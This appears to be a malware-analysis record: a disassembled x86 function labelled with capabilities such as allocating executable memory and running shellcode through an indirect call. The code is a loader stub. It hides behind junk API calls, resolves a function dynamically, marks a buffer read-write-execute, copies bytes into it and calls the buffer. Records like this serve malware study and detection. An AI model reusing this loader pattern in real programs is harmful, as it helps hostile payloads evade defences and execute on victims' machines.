Function at 0x403cce
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Read file on windows
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403cfb
inc edi
cmp edi, 0x67d12
jl 0x403cde
cmp dword [0x2872804], 0x93
jne 0x403dcd
push 0x40381c
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push 0x403824
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x403840
push 0x403854
push 0x40386c
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
push esi
push esi
push esi
call fcn.004049b7
push esi
push esi
call fcn.004049d4
push esi
call fcn.00404660
add esp, 0x1c
push esi
push esi
call fcn.0040468f
pop ecx
pop ecx
mov eax, dword [0x47ac3c]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add dword [0x2872804], 0x1134b
push 0x403880
mov dword [0x2873640], eax
call ebx
push 0x40389c
push eax
mov dword [0x2872294], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2872804]
mov dword [0x2872288], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x2872804]
mov dword [0x2872290], eax
push eax
call dword [0x2872288]
mov edi, 0x1692e
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuBarInfo]
push esi
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x403e2e
cmp dword [0x2872804], esi
jbe 0x403eab
mov eax, dword [0x2873640]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2872290]
mov byte [ecx + edi], al
cmp dword [0x2872804], 0x490
jne 0x403ea2
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call ebx
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x2872804]
jb 0x403e58
xor edi, edi
mov eax, dword [0x2872804]
add eax, edi
cmp eax, 0x8d
jne 0x403eec
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push 0x4038ac
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x4038b4
push 0x4038d0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x403ead
call fcn.00403bf5
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x403f1b
mov dword [ebp - 8], esi
add dword [ebp - 8], 0
mov eax, dword [ebp - 8]
add dword [0x2872290], eax
inc edi
cmp edi, 0x674bd
jl 0x403efc
push 0x7b
pop edi
cmp dword [0x2872804], 0x86
jne 0x403f64
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4038e8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
push dword [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x403f27
push 0x403904
call ebx
call dword [0x2872290]
pop edi
pop esi
pop ebx
leave
ret